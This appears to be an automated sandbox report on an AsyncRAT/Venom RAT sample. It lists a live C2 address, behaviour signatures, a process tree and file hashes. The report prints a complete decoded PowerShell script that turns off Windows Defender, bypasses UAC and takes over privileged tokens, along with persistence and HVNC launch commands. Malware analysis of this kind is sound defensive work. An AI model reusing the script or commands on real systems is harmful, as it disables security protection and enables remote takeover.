Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    16-12-2024 15:56

General

  • Target

    Client.exe

  • Size

    74KB

  • MD5

    ff9957be040ba821afc9248d7f3c9e74

  • SHA1

    19bf5b47a05a06f8c448286979c17364df9b9d8a

  • SHA256

    f0de46c374e87a43f8e8d977ed7920271beb883f0cc19492698301ea412498e5

  • SHA512

    2b283049ffaecb665006453bf5757ea7adc95a678ded145285bf8529a824a1ec10d1e92c319553d436d4aea4e665fe995db6748a22fa72898faf8adbeef17703

  • SSDEEP

    1536:SUaAcx2l/Cx2PMVie9VdQuDI6H1bf/3EQzcuLVclN:SUDcx2Bq2PMVie9VdQsH1bffEQnBY

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Linas

C2

127.0.0.1:4449

185.241.61.180:4449

Mutex

lxvckrzncz

Attributes
  • delay

    1

  • install

    true

  • install_file

    Defender.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 1 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Executes dropped EXE 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 46 IoCs
  • Modifies registry class 19 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 58 IoCs
  • Suspicious use of FindShellTrayWindow 27 IoCs
  • Suspicious use of SendNotifyMessage 22 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2448
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" qc windefend
          3⤵
          • Launches sc.exe
          PID:4464
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
          3⤵
            PID:1464
          • C:\Windows\system32\whoami.exe
            "C:\Windows\system32\whoami.exe" /groups
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2100
          • C:\Windows\system32\net1.exe
            "C:\Windows\system32\net1.exe" stop windefend
            3⤵
              PID:3032
            • C:\Windows\system32\sc.exe
              "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
              3⤵
              • Launches sc.exe
              PID:2404
        • C:\Users\Admin\AppData\Local\Temp\Client.exe
          "C:\Users\Admin\AppData\Local\Temp\Client.exe"
          1⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3644
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"' & exit
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4948
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"'
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1464
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBA95.tmp.bat""
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4708
            • C:\Windows\system32\timeout.exe
              timeout 3
              3⤵
              • Delays execution with timeout.exe
              PID:2616
            • C:\Users\Admin\AppData\Roaming\Defender.exe
              "C:\Users\Admin\AppData\Roaming\Defender.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:2244
              • C:\Windows\explorer.exe
                "C:\Windows\explorer.exe"
                4⤵
                • Boot or Logon Autostart Execution: Active Setup
                • Enumerates connected drives
                • Checks SCSI registry key(s)
                • Modifies registry class
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:2932
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 127.0.0.1,185.241.61.180 4448 HVNC_MUTEX
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1412
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc @ ( e c h o   o f f % ) [ 1 ]  
 s p   ' H K C U : \ V o l a t i l e   E n v i r o n m e n t '   ' T o g g l e D e f e n d e r '   @ '  
 i f   ( $ ( s c . e x e   q c   w i n d e f e n d )   - l i k e   ' * T O G G L E * ' )   { $ T O G G L E = 7 ; $ K E E P = 6 ; $ A = ' E n a b l e ' ; $ S = ' O F F ' } e l s e { $ T O G G L E = 6 ; $ K E E P = 7 ; $ A = ' D i s a b l e ' ; $ S = ' O N ' }  
  
 i f   ( $ e n v : 1   - n e   6   - a n d   $ e n v : 1   - n e   7 )   {   $ e n v : 1 = $ T O G G L E   }  
  
 s t a r t   c m d   - a r g s   ' / d / r   S e c u r i t y H e a l t h S y s t r a y   &   " % P r o g r a m F i l e s % \ W i n d o w s   D e f e n d e r \ M S A S C u i L . e x e " '   - w i n   1  
  
 $ n o t i f = ' H K C U : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s \ C u r r e n t V e r s i o n \ N o t i f i c a t i o n s \ S e t t i n g s \ W i n d o w s . S y s t e m T o a s t . S e c u r i t y A n d M a i n t e n a n c e '  
 n i   $ n o t i f   - e a   0 | o u t - n u l l ;   r i   $ n o t i f . r e p l a c e ( ' S e t t i n g s ' , ' C u r r e n t ' )   - R e c u r s e   - F o r c e   - e a   0  
 s p   $ n o t i f   E n a b l e d   0   - T y p e   D w o r d   - F o r c e   - e a   0 ;   i f   ( $ T O G G L E   - e q   7 )   { r p   $ n o t i f   E n a b l e d   - F o r c e   - e a   0 }  
  
 $ t s = N e w - O b j e c t   - C o m O b j e c t   ' S c h e d u l e . S e r v i c e ' ;   $ t s . C o n n e c t ( ) ;   $ b a f f l i n g = $ t s . G e t F o l d e r ( ' \ M i c r o s o f t \ W i n d o w s \ D i s k C l e a n u p ' )  
 $ b p a s s = $ b a f f l i n g . G e t T a s k ( ' S i l e n t C l e a n u p ' ) ;   $ f l a w = $ b p a s s . D e f i n i t i o n  
  
 $ u = 0 ; $ w = w h o a m i   / g r o u p s ; i f ( $ w - l i k e ' * 1 - 5 - 3 2 - 5 4 4 * ' ) { $ u = 1 } ; i f ( $ w - l i k e ' * 1 - 1 6 - 1 2 2 8 8 * ' ) { $ u = 2 } ; i f ( $ w - l i k e ' * 1 - 1 6 - 1 6 3 8 4 * ' ) { $ u = 3 }  
  
 $ r = [ c h a r ] 1 3 ;   $ n f o = [ c h a r ] 3 9 + $ r + '   ( \       / ) ' + $ r + ' (   *   .   *   )     A   l i m i t e d   a c c o u n t   p r o t e c t s   y o u   f r o m   U A C   e x p l o i t s ' + $ r + '         ` ` ` ' + $ r + [ c h a r ] 3 9  
 $ s c r i p t = ' - n o p   - w i n   1   - c   &   { r p   h k c u : \ e n v i r o n m e n t   w i n d i r   - e a   0 ; $ A v e Y o = ' + $ n f o + ' ; $ e n v : 1 = ' + $ e n v : 1 ;   $ e n v : _ _ C O M P A T _ L A Y E R = ' I n s t a l l e r '  
 $ s c r i p t + = ' ; i e x ( ( g p   R e g i s t r y : : H K E Y _ U s e r s \ S - 1 - 5 - 2 1 * \ V o l a t i l e *   T o g g l e D e f e n d e r   - e a   0 ) [ 0 ] . T o g g l e D e f e n d e r ) } ' ;   $ c m d = ' p o w e r s h e l l   ' + $ s c r i p t  
  
 i f   ( $ u   - e q   0 )   {  
     s t a r t   p o w e r s h e l l   - a r g s   $ s c r i p t   - v e r b   r u n a s   - w i n   1 ;   b r e a k  
 }  
 i f   ( $ u   - e q   1 )   {  
     i f   ( $ f l a w . A c t i o n s . I t e m ( 1 ) . P a t h   - i n o t l i k e   ' * w i n d i r * ' ) { s t a r t   p o w e r s h e l l   - a r g s   $ s c r i p t   - v e r b   r u n a s   - w i n   1 ;   b r e a k }  
     s p   h k c u : \ e n v i r o n m e n t   w i n d i r   $ ( ' p o w e r s h e l l   ' + $ s c r i p t + '   # ' )  
     $ z = $ b p a s s . R u n E x ( $ n u l l , 2 , 0 , $ n u l l ) ;   $ w a i t = 0 ;   w h i l e ( $ b p a s s . S t a t e   - g t   3   - a n d   $ w a i t   - l t   1 7 ) { s l e e p   - m   1 0 0 ;   $ w a i t + = 0 . 1 }  
     i f ( g p   h k c u : \ e n v i r o n m e n t   w i n d i r   - e a   0 ) { r p   h k c u : \ e n v i r o n m e n t   w i n d i r   - e a   0 ; s t a r t   p o w e r s h e l l   - a r g s   $ s c r i p t   - v e r b   r u n a s   - w i n   1 } ; b r e a k  
 }  
 i f   ( $ u   - e q   2 )   {  
     $ A = [ A p p D o m a i n ] : : C u r r e n t D o m a i n . " D e f ` i n e D y n a m i c A s s e m b l y " ( 1 , 1 ) . " D e f ` i n e D y n a m i c M o d u l e " ( 1 ) ; $ D = @ ( ) ; 0 . . 5 | % { $ D + = $ A . " D e f ` i n e T y p e " ( ' A ' + $ _ ,  
     1 1 7 9 9 1 3 , [ V a l u e T y p e ] ) }   ; 4 , 5 | % { $ D + = $ D [ $ _ ] . " M a k ` e B y R e f T y p e " ( ) }   ; $ I = [ I n t 3 2 ] ; $ J = " I n t ` P t r " ; $ P = $ I . m o d u l e . G e t T y p e ( " S y s t e m . $ J " ) ;   $ F = @ ( 0 )  
     $ F + = ( $ P , $ I , $ P ) , ( $ I , $ I , $ I , $ I , $ P , $ D [ 1 ] ) , ( $ I , $ P , $ P , $ P , $ I , $ I , $ I , $ I , $ I , $ I , $ I , $ I , [ I n t 1 6 ] , [ I n t 1 6 ] , $ P , $ P , $ P , $ P ) , ( $ D [ 3 ] , $ P ) , ( $ P , $ P , $ I , $ I )  
     $ S = [ S t r i n g ] ;   $ 9 = $ D [ 0 ] . " D e f ` i n e P I n v o k e M e t h o d " ( ' C r e a t e P r o c e s s ' , " k e r n e l ` 3 2 " , 8 2 1 4 , 1 , $ I , @ ( $ S , $ S , $ I , $ I , $ I , $ I , $ I , $ S , $ D [ 6 ] , $ D [ 7 ] ) , 1 , 4 )  
     1 . . 5 | % { $ k = $ _ ; $ n = 1 ; $ F [ $ _ ] | % { $ 9 = $ D [ $ k ] . " D e f ` i n e F i e l d " ( ' f ' + $ n + + , $ _ , 6 ) } } ; $ T = @ ( ) ; 0 . . 5 | % { $ T + = $ D [ $ _ ] . " C r ` e a t e T y p e " ( ) ; $ Z = [ u i n t p t r ] : : s i z e  
     n v   ( ' T ' + $ _ ) ( [ A c t i v a t o r ] : : C r e a t e I n s t a n c e ( $ T [ $ _ ] ) ) } ;   $ H = $ I . m o d u l e . G e t T y p e ( " S y s t e m . R u n t i m e . I n t e r o p ` S e r v i c e s . M a r ` s h a l " ) ;  
     $ W P = $ H . " G e t ` M e t h o d " ( " W r i t e $ J " , [ t y p e [ ] ] ( $ J , $ J ) ) ;   $ H G = $ H . " G e t ` M e t h o d " ( " A l l o c H ` G l o b a l " , [ t y p e [ ] ] ' i n t 3 2 ' ) ;   $ v = $ H G . i n v o k e ( $ n u l l , $ Z )  
     ' T r u s t e d I n s t a l l e r ' , ' l s a s s ' | % { i f ( ! $ p n ) { n e t 1   s t a r t   $ _   2 > & 1   > $ n u l l ; $ p n = [ D i a g n o s t i c s . P r o c e s s ] : : G e t P r o c e s s e s B y N a m e ( $ _ ) [ 0 ] ; } }  
     $ W P . i n v o k e ( $ n u l l , @ ( $ v , $ p n . H a n d l e ) ) ;   $ S Z = $ H . " G e t ` M e t h o d " ( " S i z e O f " , [ t y p e [ ] ] ' t y p e ' ) ;   $ T 1 . f 1 = 1 3 1 0 7 2 ;   $ T 1 . f 2 = $ Z ;   $ T 1 . f 3 = $ v ;   $ T 2 . f 1 = 1  
     $ T 2 . f 2 = 1 ; $ T 2 . f 3 = 1 ; $ T 2 . f 4 = 1 ; $ T 2 . f 6 = $ T 1 ; $ T 3 . f 1 = $ S Z . i n v o k e ( $ n u l l , $ T [ 4 ] ) ; $ T 4 . f 1 = $ T 3 ; $ T 4 . f 2 = $ H G . i n v o k e ( $ n u l l , $ S Z . i n v o k e ( $ n u l l , $ T [ 2 ] ) )  
     $ H . " G e t ` M e t h o d " ( " S t r u c t u r e T o ` P t r " , [ t y p e [ ] ] ( $ D [ 2 ] , $ J , ' b o o l e a n ' ) ) . i n v o k e ( $ n u l l , @ ( ( $ T 2 - a s   $ D [ 2 ] ) , $ T 4 . f 2 , $ f a l s e ) ) ; $ w i n d o w = 0 x 0 E 0 8 0 6 0 0  
     $ 9 = $ T [ 0 ] . " G e t ` M e t h o d " ( ' C r e a t e P r o c e s s ' ) . I n v o k e ( $ n u l l , @ ( $ n u l l , $ c m d , 0 , 0 , 0 , $ w i n d o w , 0 , $ n u l l , ( $ T 4 - a s   $ D [ 4 ] ) , ( $ T 5 - a s   $ D [ 5 ] ) ) ) ;   b r e a k  
 }  
  
 $ w d p = ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '  
 '   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s ' , ' \ U X   C o n f i g u r a t i o n ' , ' \ M p E n g i n e ' , ' \ S p y n e t ' , ' \ R e a l - T i m e   P r o t e c t i o n '   | %   { n i   ( $ w d p + $ _ ) - e a   0 | o u t - n u l l }  
  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s \ S y s t e m '   E n a b l e S m a r t S c r e e n   0   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 n e t 1   s t o p   w i n d e f e n d  
 s c . e x e   c o n f i g   w i n d e f e n d   d e p e n d =   R p c S s - T O G G L E  
 k i l l   - N a m e   M p C m d R u n   - F o r c e   - e a   0  
 s t a r t   ( $ e n v : P r o g r a m F i l e s + ' \ W i n d o w s   D e f e n d e r \ M p C m d R u n . e x e ' )   - A r g   ' - D i s a b l e S e r v i c e '   - w i n   1  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ m p e n g i n e d b . d b ' )   - F o r c e   - e a   0                       # #   C o m m e n t e d   =   k e e p   s c a n   h i s t o r y  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ H i s t o r y \ S e r v i c e ' )   - R e c u r s e   - F o r c e   - e a   0  
 ' @   - F o r c e   - e a   0 ;   i e x ( ( g p   R e g i s t r y : : H K E Y _ U s e r s \ S - 1 - 5 - 2 1 * \ V o l a t i l e *   T o g g l e D e f e n d e r   - e a   0 ) [ 0 ] . T o g g l e D e f e n d e r )  
 # - _ - # 
                4⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2620
                • C:\Windows\system32\sc.exe
                  "C:\Windows\system32\sc.exe" qc windefend
                  5⤵
                  • Launches sc.exe
                  PID:4168
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                  5⤵
                    PID:2020
                  • C:\Windows\system32\whoami.exe
                    "C:\Windows\system32\whoami.exe" /groups
                    5⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1888
                  • C:\Windows\system32\net1.exe
                    "C:\Windows\system32\net1.exe" start TrustedInstaller
                    5⤵
                      PID:2452
                    • C:\Windows\system32\net1.exe
                      "C:\Windows\system32\net1.exe" start lsass
                      5⤵
                        PID:2900
                    • C:\Windows\SYSTEM32\cmd.exe
                      "cmd"
                      4⤵
                        PID:4004
                • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
                  "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
                  1⤵
                  • Modifies registry class
                  • Suspicious use of SetWindowsHookEx
                  PID:2420
                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                  1⤵
                  • Modifies registry class
                  • Suspicious use of SetWindowsHookEx
                  PID:1216
                • C:\Windows\system32\BackgroundTransferHost.exe
                  "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
                  1⤵
                  • Modifies registry class
                  PID:1244

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                  Filesize

                  3KB

                  MD5

                  aa0a32b11dca7b04f4cc5fe8c55cb357

                  SHA1

                  00e354fd0754a7d721a270cdc08f970b9a3f6605

                  SHA256

                  e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1

                  SHA512

                  1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  1KB

                  MD5

                  744b1d0c61ab73e56bf9bdb1ccbc25fe

                  SHA1

                  9032388ebcea797007bdaf8358ca3a5ca708d40b

                  SHA256

                  7993c87b8ffb70892742c42ca99133a399bcd6c8759b8657f3cf90a7d3822adf

                  SHA512

                  3d3fd9eccc1347051d784e376bdcb63c1e7c7701a9bbbe28c505b662e73e5a86e059011301161d1328933aa458ada5a81b34a63896b6f72358dc16a738a1947d

                • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\3da440f6-e78b-4868-8539-f5d7c3db0846.down_data

                  Filesize

                  555KB

                  MD5

                  5683c0028832cae4ef93ca39c8ac5029

                  SHA1

                  248755e4e1db552e0b6f8651b04ca6d1b31a86fb

                  SHA256

                  855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

                  SHA512

                  aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

                • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

                  Filesize

                  10KB

                  MD5

                  96329c73cc49cd960e2485210d01c4d2

                  SHA1

                  a496b98ad2f2bbf26687b5b7794a26aa4470148e

                  SHA256

                  4c159cab6c9ef5ff39e6141b0ccb5b8c6251a3d637520609dfbdd852fa94d466

                  SHA512

                  e98736a879cad24c693d6c5939654b2fd25bf9d348f738668624214f22d541a9b781c967201ab2d43cbac9207946824a0299d482485f4b63c48d5d2a839e5baf

                • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

                  Filesize

                  10KB

                  MD5

                  847a64ce22adca83e091e5403ef844ed

                  SHA1

                  f2cf8559f0eba3d237cee1162b811613d2a0c308

                  SHA256

                  1db255895b125edbed50b5296edafaf303dde2b93a600313b6a1aa61f9ec2b88

                  SHA512

                  94abff56e498bfd7af0e72a652a0b03d29cbe7d0322f43cb8fa4182cfa829ec6d608c5bb3f6deaaf1dcaae764c90036beedb503109c8080999dfaf2d6a2e9de6

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_14ku3zc4.0yi.psm1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\AppData\Local\Temp\tmpBA95.tmp.bat

                  Filesize

                  152B

                  MD5

                  0b9b50d60307520d4261815bab09ea14

                  SHA1

                  53761106093b770e3ac26af6cb48b3b540c7c90f

                  SHA256

                  b65e7f704398a45063d6f654b54a4041506b75a9699f8c5f9470a44ec0d524d5

                  SHA512

                  ffe87f709125cbc222ed945428fc0c179ff4f0d3951ceba83c7f844279cb2144a4f3b8650c203ad53c6c5d0a8cc5a9f09f310469fb8333a3718c0302da6605d6

                • C:\Users\Admin\AppData\Roaming\Defender.exe

                  Filesize

                  74KB

                  MD5

                  ff9957be040ba821afc9248d7f3c9e74

                  SHA1

                  19bf5b47a05a06f8c448286979c17364df9b9d8a

                  SHA256

                  f0de46c374e87a43f8e8d977ed7920271beb883f0cc19492698301ea412498e5

                  SHA512

                  2b283049ffaecb665006453bf5757ea7adc95a678ded145285bf8529a824a1ec10d1e92c319553d436d4aea4e665fe995db6748a22fa72898faf8adbeef17703

                • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

                  Filesize

                  8B

                  MD5

                  cf759e4c5f14fe3eec41b87ed756cea8

                  SHA1

                  c27c796bb3c2fac929359563676f4ba1ffada1f5

                  SHA256

                  c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

                  SHA512

                  c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

                • memory/1412-39-0x0000000000400000-0x0000000000410000-memory.dmp

                  Filesize

                  64KB

                • memory/1412-42-0x0000000005AD0000-0x0000000006076000-memory.dmp

                  Filesize

                  5.6MB

                • memory/1412-41-0x00000000051E0000-0x000000000527C000-memory.dmp

                  Filesize

                  624KB

                • memory/1412-40-0x0000000005140000-0x00000000051D2000-memory.dmp

                  Filesize

                  584KB

                • memory/2244-38-0x000000001CCC0000-0x000000001CCDE000-memory.dmp

                  Filesize

                  120KB

                • memory/2244-74-0x0000000001500000-0x0000000001510000-memory.dmp

                  Filesize

                  64KB

                • memory/2244-37-0x000000001CC80000-0x000000001CCA0000-memory.dmp

                  Filesize

                  128KB

                • memory/2244-36-0x000000001CD00000-0x000000001CD76000-memory.dmp

                  Filesize

                  472KB

                • memory/2244-77-0x000000001CB40000-0x000000001CB62000-memory.dmp

                  Filesize

                  136KB

                • memory/2244-50-0x000000001B9C0000-0x000000001B9CE000-memory.dmp

                  Filesize

                  56KB

                • memory/2244-51-0x0000000001420000-0x000000000142E000-memory.dmp

                  Filesize

                  56KB

                • memory/2244-76-0x000000001CAD0000-0x000000001CAEC000-memory.dmp

                  Filesize

                  112KB

                • memory/2620-57-0x0000018C58910000-0x0000018C58932000-memory.dmp

                  Filesize

                  136KB

                • memory/3644-4-0x00007FF8E89D0000-0x00007FF8E9492000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3644-1-0x0000000000900000-0x0000000000918000-memory.dmp

                  Filesize

                  96KB

                • memory/3644-3-0x00007FF8E89D0000-0x00007FF8E9492000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3644-0-0x00007FF8E89D3000-0x00007FF8E89D5000-memory.dmp

                  Filesize

                  8KB

                • memory/3644-9-0x00007FF8E89D0000-0x00007FF8E9492000-memory.dmp

                  Filesize

                  10.8MB